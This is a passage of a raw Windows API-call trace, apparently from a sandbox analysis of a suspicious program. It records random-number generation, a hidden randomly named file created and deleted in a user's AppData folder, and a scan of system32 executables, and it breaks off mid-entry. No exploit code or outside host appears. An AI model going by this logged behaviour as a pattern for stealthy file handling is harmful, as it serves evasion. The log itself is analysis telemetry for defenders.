(hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.221] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.222] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.222] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.222] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.223] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.223] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.223] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.224] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.224] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.224] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.224] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.224] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.224] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.225] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.225] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.225] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.226] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.226] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.226] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.227] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.227] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.227] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.228] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.228] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.228] CryptAcquireContextW (in: phProv=0x1a7f880, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f880*=0x838fe0) returned 1 [0138.228] CryptGenRandom (in: hProv=0x838fe0, dwLen=0x4, pbBuffer=0x1a7f894 | out: pbBuffer=0x1a7f894) returned 1 [0138.229] CryptReleaseContext (hProv=0x838fe0, dwFlags=0x0) returned 1 [0138.229] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f588) returned 1 [0138.229] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ypqym2vs"), fInfoLevelId=0x0, lpFileInformation=0x1a7f84c | out: lpFileInformation=0x1a7f84c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0xc28ae7, ftCreationTime.dwHighDateTime=0xa90000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x1a7fba8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x1a7f8e4)) returned 0 [0138.366] GetLastError () returned 0x2 [0138.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ypqym2vs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x170 [0138.367] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x1a7f890, lpLastWriteTime=0x1a7f890) returned 1 [0138.367] NtClose (Handle=0x170) returned 0x0 [0138.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x800) returned 0x9841e8 [0138.368] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yPQYM2VS", lpszShortPath=0x9841e8, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS") returned 0x2a [0138.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ypqym2vs"), fInfoLevelId=0x0, lpFileInformation=0x1a7f88c | out: lpFileInformation=0x1a7f88c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x6bb6a830, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6bb6a830, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6bb6a830, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0138.368] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yPQYM2VS", dwFileAttributes=0x80) returned 1 [0138.368] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\yPQYM2VS" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ypqym2vs")) returned 1 [0138.369] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9841e8) returned 1 [0138.369] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f588) returned 1 [0138.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0x9885a8 [0138.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x9841e8 [0138.369] GetSystemDirectoryW (in: lpBuffer=0x9841e8, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0138.369] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9841e8) returned 1 [0138.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f588 [0138.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f500 [0138.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f478 [0138.369] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\*.exe", fInfoLevelId=0x1, lpFindFileData=0x1a7f930, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7f930) returned 0x81fcd8 [0138.369] CryptAcquireContextW (in: phProv=0x1a7f8a0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x1a7f8a0*=0x839ea8) returned 1 [0138.370] CryptGenRandom (in: hProv=0x839ea8, dwLen=0x4, pbBuffer=0x1a7f8b4 | out: pbBuffer=0x1a7f8b4) returned 1 [0138.370] CryptReleaseContext (hProv=0x839ea8, dwFlags=0x0) returned 1 [0138.370] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f389923, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f389923, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f389923, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="aitagent.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9897070, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="alg.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22f4ae5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x22f4ae5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd99a1240, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="appidcertstorecheck.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf143, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb9cf143, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9a5f920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="appidpolicyconverter.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a17d73, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x84a17d73, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xd9ad2510, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="ARP.EXE", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa1c868, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x1fa1c868, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xd9b45100, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="at.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ef45b, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc10ef45b, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="AtBroker.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xd9b90bf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="attrib.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d6dcfc6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d6dcfc6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d703126, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="audiodg.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9850cda, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb9850cda, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xd9c9adc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="auditpol.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a59e84b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a59e84b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a5eab0c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xbde00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="autochk.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e31ba3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97e31ba3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97e7de63, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc1a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="autoconv.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14e063, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a14e063, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a1741c4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="autofmt.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa917cb2, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaa917cb2, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xda2b55c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="AxInstUI.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad77102, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad77102, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad77102, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2ae00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="bcdboot.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9716654b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9716654b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x973a19ef, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="bcdedit.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17bc305, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc17bc305, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda694920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="BdeUISrv.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc086969a, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc086969a, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xda72bf00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="BdeUnlockWizard.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868bb544, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x868bb544, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x868e16a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="bitsadmin.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a941698, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x6a941698, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdaba2840, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0138.719] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="change.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa90000, dwReserved1=0x991fe0, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0138.720] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7f930 | out: lpFindFileData=0x1a7f930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, 